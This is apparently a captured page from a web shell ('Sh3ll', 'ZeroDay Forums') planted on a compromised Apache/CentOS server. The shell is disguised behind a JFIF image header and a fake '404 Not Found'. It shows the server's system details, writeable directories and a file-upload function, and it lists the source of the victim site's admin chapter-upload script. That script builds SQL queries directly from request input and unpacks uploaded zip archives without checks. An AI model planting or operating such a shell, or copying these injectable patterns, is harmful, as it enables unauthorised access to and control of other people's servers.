����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/truyentranh/code/admin/posts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/truyentranh/code/admin/posts/multichap.php
<?php
global $func,$DB,$ob_user,$arr_option;
$truyen_id = $CORE->input['id'] ?? 0;
if($truyen_id==0){
    return;
}
$row_truyen = $DB->fetch_row($DB->query("SELECT * FROM tb_truyen WHERE truyen_id='$truyen_id' "));
$chuong_id = $CORE->input['chuong_id'] ?? 0;
$count = 1;
if($chuong_id==0){
    $row_chuong = $DB->get_colum_tb('tb_chuong');
    $row_count = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_chuong WHERE truyen_id='$truyen_id' "));
    $count = $row_count['total'] + 1;
}else {
    $row_chuong = $DB->fetch_row($DB->query("SELECT * FROM tb_chuong WHERE chuong_id='$chuong_id' "));
    $count = $row_chuong['chuong_pos'];

}

if($row_chuong['chuong_server']!=''){
    $arr_server = explode('@',$row_chuong['chuong_server']);
}
$q_server = $DB->query("SELECT * FROM tb_server ORDER BY server_name");
$txt_op_server = '';
while($r_server = $DB->fetch_row($q_server)){
    if(strpos($row_chuong['chuong_server'],$r_server['server_id'].'@')!==false){
        $txt_op_server .= '<option value="'.$r_server['server_id'].'" selected>'.$r_server['server_name'].'</option>';
    }else{
        $txt_op_server .= '<option value="'.$r_server['server_id'].'">'.$r_server['server_name'].'</option>';
    }
}
$num_img = 0;
if($chuong_id>0){
    $q_img = $DB->query("SELECT * FROM tb_chuong_img WHERE chuong_id='$chuong_id' ORDER BY chuong_img_pos ASC ");
    $list_img = '';
    while($r_img = $DB->fetch_row($q_img)){
        $list_img .= '
        <div class="col-lg-3 col-md-4 col-sm-4 col-6 video position-relative mb-2">
                            <div class="card">
                                <img src="'.$r_img['domain'].'/'.$r_img['url_dir'].'/'.$r_img['file_name'].'" class="card-img-top" alt="'.$r_img['file_name'].'"></a>
                                <div class="card-body list-left-8-manga">
                                    <p class="card-text title-manga">'.$r_img['file_name'].'</p>
                                </div>
                            </div>
                        </div>
        ';
        $num_img++;
    }
}

if(isset($CORE->input['submitbt'])){
    $truyen_id = $CORE->input['id'] ?? 0;
    include 'lib/watermark.class.php';
    if(isset($_FILES["zip_file"]["name"]) and $_FILES["zip_file"]["name"]!='') {

        $filename = $_FILES["zip_file"]["name"];
        $source = $_FILES["zip_file"]["tmp_name"];
        $type = $_FILES["zip_file"]["type"];
        $name = explode(".", $filename);
        $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
        foreach($accepted_types as $mime_type) {
            if($mime_type == $type) {
                $okay = true;
                break;
            }
        }
        $continue = strtolower($name[1]) == 'zip' ? true : false;
        if(!$continue) {
            echo "The file you are trying to upload is not a .zip file. Please try again.";
            exit();
        }
        $filenoext = basename ($filename, '.zip');
        $filenoext = basename ($filenoext, '.ZIP');
        $targetdir = 'upload/tmp';
        if(!is_dir($targetdir)){
            mkdir($targetdir,0755,true);
        }
        $targetzip = $targetdir.'/'.$filenoext.'.zip';
        /* here it is really happening */
        if(move_uploaded_file($source, $targetzip)) {
            //extrack zip
            $zip = new ZipArchive();
            if ($zip->open($targetzip) === true) {
                $zip->extractTo($targetdir);
                $zip->close();
            }
            unlink($targetzip);

            $arr_list_file = scanDirAndSubdir($targetdir);
            $flag = '';
            foreach($arr_list_file as $key=>$val){
                if(is_dir($val)){
                    $folder[] =  basename($val);
                }
                if(is_file($val)){
                    $arr_file = explode('/',$val);
                    $arr_img_zip[$arr_file[count($arr_file)-2]][] = $arr_file[count($arr_file)-1];
                }
            }
            function cmp_folder($a,$b){
                $arr_img_name_a = explode(' ',$a);
                $arr_img_name_b = explode(' ',$b);
                if(is_numeric($arr_img_name_a[1])) {
                    if ($arr_img_name_a[1] == $arr_img_name_b[1]) {
                        return 1;
                    }
                    return ($arr_img_name_a[1] > $arr_img_name_b[1]) ? 1 : -1;
                }
            }
            usort($folder, 'cmp_folder');
            function cmp($a, $b)
            {
                $arr_img_name_a = explode('.',$a);
                $arr_img_name_b = explode('.',$b);
                if(is_numeric($arr_img_name_a[0])) {
                    if ($arr_img_name_a[0] == $arr_img_name_b[0]) {
                        return 1;
                    }
                    return ($arr_img_name_a[0] > $arr_img_name_b[0]) ? 1 : -1;
                }else{
                    if(strpos($arr_img_name_a[0],'_')===false and strpos($arr_img_name_a[0],'(')===false){
                        if (intval($arr_img_name_a[0]) == intval($arr_img_name_b[0])) {
                            return 1;
                        }
                        return (intval($arr_img_name_a[0]) > intval($arr_img_name_b[0])) ? 1 : -1;
                    }
                    if(strpos($arr_img_name_a[0],'_')!==false){
                        $name_a = intval(str_replace('pic_','',$arr_img_name_a[0]));
                        $name_b = intval(str_replace('pic_','',$arr_img_name_b[0]));
                        if ($name_a == $name_b) {
                            return 1;
                        }
                        return ($name_a > $name_b) ? 1 : -1;
                    }
                    if(strpos($arr_img_name_a[0],'(')!==false){
                        preg_match('#\((.*?)\)#is',$arr_img_name_a[0],$match_a);
                        $name_a = intval($match_a[1]);
                        preg_match('#\((.*?)\)#is',$arr_img_name_b[0],$match_b);
                        $name_b = intval($match_b[1]);
                        if ($name_a == $name_b) {
                            return 1;
                        }
                        return ($name_a > $name_b) ? 1 : -1;
                    }
                }

            }
            foreach($folder as $chap_name){

                //sort($arr_img_zip[$chap_name], SORT_NUMERIC);
                usort ( $arr_img_zip[$chap_name], 'cmp');

                //insert/update chap
                $row_chuong = $DB->fetch_row($DB->query("SELECT * FROM tb_chuong WHERE chuong_name='$chap_name' AND truyen_id='$truyen_id' LIMIT 1 "));
                $chuong_id = 0;
                if($row_chuong){
                    $chuong_id = $row_chuong['chuong_id'];
                }
                if($chuong_id==0){//insert
                    $row_chuong_count = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_chuong WHERE truyen_id='$truyen_id'"));
                    $chuong_pos = $row_chuong_count['total'] + 1;
                    $arr_name_folder = explode(' ', $chap_name);
                    if(isset($arr_name_folder[1]) and !empty($arr_name_folder[1])) {
                        $chuong_pos = floatval($arr_name_folder[1]);
                    }
                    $arr_insert = array('truyen_id'=>$truyen_id,'chuong_server'=>'','chuong_name'=>$chap_name,'chuong_fname'=>$func->format_string($chap_name),'chuong_pos'=>$chuong_pos,'chuong_number_img'=>0,'chuong_new'=>'','chuong_hit'=>0,'chuong_point'=>1,'time_post'=>date('Y-m-d H:i:s'),'user_post'=>$ob_user->user_id);
                    $chuong_id = $DB->do_insert('tb_chuong',$arr_insert);
                }else{//update
                    delete_img_chapter($chuong_id);
                }
                //upload img
                foreach ($arr_img_zip[$chap_name] as $img) {
                    $arr_img_name_file = explode('.',$img);
                    $img_local = $targetdir.'/'.$chap_name.'/'.$img;
                    $info   = getimagesize($img_local);
                    if($info['mime']!='image/webp') {

                        if($arr_option['use_watermark']==1) {
                            //watermark
                            $watermark = new Watermark($img_local);
                            $watermark->setWatermarkImage($arr_option['watermark']);
                            switch ($arr_option['watermark_pos']) {
                                case 'bottom_right':
                                    $watermark->setType(Watermark::BOTTOM_RIGHT);
                                    break;
                                case 'top_right':
                                    $watermark->setType(Watermark::TOP_RIGHT);
                                    break;
                                case 'center':
                                    $watermark->setType(Watermark::CENTER);
                                    break;
                                case 'top_left':
                                    $watermark->setType(Watermark::TOP_LEFT);
                                    break;
                                case 'bottom_left':
                                    $watermark->setType(Watermark::BOTTOM_LEFT);
                                    break;
                            }
                            $a = $watermark->saveAs($img_local);
                        }

                        //Create an image object.
                        $im = imagecreatefromjpeg($img_local);
                        $newImagePath = $targetdir.'/' . $arr_img_name_file[0] . '.webp';
                        $quality = 100;
                        imagewebp($im, $newImagePath, $quality);
                        imagedestroy($im);
                        unlink($img_local);
                        $arr_img[] = $newImagePath;
                        $i++;
                    }else{
                        $newImagePath = $img_local.'.webp';
                        rename($img_local, $newImagePath);
                        $arr_img[] = $newImagePath;
                    }
                }
                $arr_img_return = post_ftp($arr_img, $truyen_id, $chuong_id);
                if(!empty($arr_img_return)){
                    foreach($arr_img_return as $key=>$val){
                        $arr_insert_img = array('truyen_id'=>$truyen_id,'chuong_id'=>$chuong_id,'domain'=>$val['domain'],'url_dir'=>$val['url_dir'],'file_name'=>$val['file_name'],'path_of_storage'=>$val['path_of_storage'],'chuong_img_pos'=>$key,'time_post'=>date('Y-m-d H:i:s'),'user_post'=>$ob_user->user_id);
                        $DB->do_insert('tb_chuong_img',$arr_insert_img);
                    }
                }
                //update chuong
                $row_count_img = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_chuong_img WHERE chuong_id='$chuong_id'"));
                $DB->query("UPDATE tb_chuong SET chuong_number_img='".$row_count_img['total']."' WHERE chuong_id='$chuong_id' ");
                //show chap uploaded
                ob_start();
                usleep(500000);
                echo '<img src="https://cdnjs.cloudflare.com/ajax/libs/galleriffic/2.0.1/css/loader.gif"><br/>';
                echo $chap_name . " with ".$row_count_img['total']." images updated!\n<br/>";
                doFlush();
            }
        } else {
            echo "There was a problem with the upload. Please try again.";
            exit();
        }
    }

    rrmdir('upload/tmp');
    //update follow
    $DB->query("UPDATE tb_follow SET already_read='' WHERE truyen_id='$truyen_id'");
    //update truyen
    $row_chuong = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_chuong WHERE truyen_id='".$truyen_id."' "));
    $DB->query("UPDATE tb_truyen SET truyen_sochuong='".$row_chuong['total']."',time_update='".date('Y-m-d H:i:s')."',user_update='".$ob_user->user_id."' WHERE truyen_id='$truyen_id'");
    $q_chuong = $DB->query("SELECT * FROM tb_chuong WHERE truyen_id='".$truyen_id."' ORDER BY chuong_pos DESC LIMIT 2");
    $i=1;
    while($r_chuong = $DB->fetch_row($q_chuong)){
        if($i==1){
            $DB->query("UPDATE tb_truyen SET truyen_chuong_moinhat_id='".$r_chuong['chuong_id']."',truyen_chuong_moinhat_name='".$r_chuong['chuong_name']."',truyen_chuong_moinhat_fname='".$r_chuong['chuong_fname']."',truyen_chuong_moinhat_isnew='".$r_chuong['chuong_new']."' ,truyen_chuong_moinhat_time='".$r_chuong['time_post']."' WHERE truyen_id='".$truyen_id."' ");
        }
        if($i==2){
            if($r_chuong['chuong_id']>0){
                $DB->query("UPDATE tb_truyen SET truyen_chuong_moinhi_id='".$r_chuong['chuong_id']."',truyen_chuong_moinhi_name='".$r_chuong['chuong_name']."',truyen_chuong_moinhi_fname='".$r_chuong['chuong_fname']."',truyen_chuong_moinhi_isnew='".$r_chuong['chuong_new']."',truyen_chuong_moinhi_time='".$r_chuong['time_post']."' WHERE truyen_id='".$truyen_id."' ");
            }
        }
        $i++;
    }
    close_popup('Updated!');
}
include ROOT_PATH . 'include/block/header_popup.php';
?>
    <div class="card">
        <div class="card-header bg-success">Post chapter manga <?php echo $row_truyen['truyen_name'];?></div>
        <div class="card-body" style="font-size: 12px;">
            <form method="post" id="form_hoan_tra" action="" enctype="multipart/form-data">
                <input type="hidden" value="<?php echo $truyen_id;?>" name="id">

                <div class="row">
                    <div class="col-sm-12">
                        <div class="form-group">
                            <label>Or upload chapter (.zip of file)</label>
                            <input type="file" class="form-control" name="zip_file" multiple>
                        </div>
                    </div>
                </div>

                <input type="submit" class="submit" style="display:none;" name="submitbt">
            </form>
        </div>
        <div class="card-footer" id="footer_submit">
            <a class="gui_yeu_cau btn btn-danger" href="javascript:void(0);">Submit</a>
            <a class="dong m-l-5 btn btn-dark" href="javascript:void(0);">Close</a>
        </div>
    </div>

    <script>
        $('.gui_yeu_cau').click(function (){
            $('#footer_submit').html('<div class="spinner-border text-primary" role="status"><span class="sr-only">Loading...</span></div>');
            $('#form_hoan_tra .submit').click();
            return false;
        });
        $('.dong').click(function (){
            window.close();
        });
    </script>
<?php
include ROOT_PATH . 'include/block/footer_popup.php';
exit();
?>

ZeroDay Forums Mini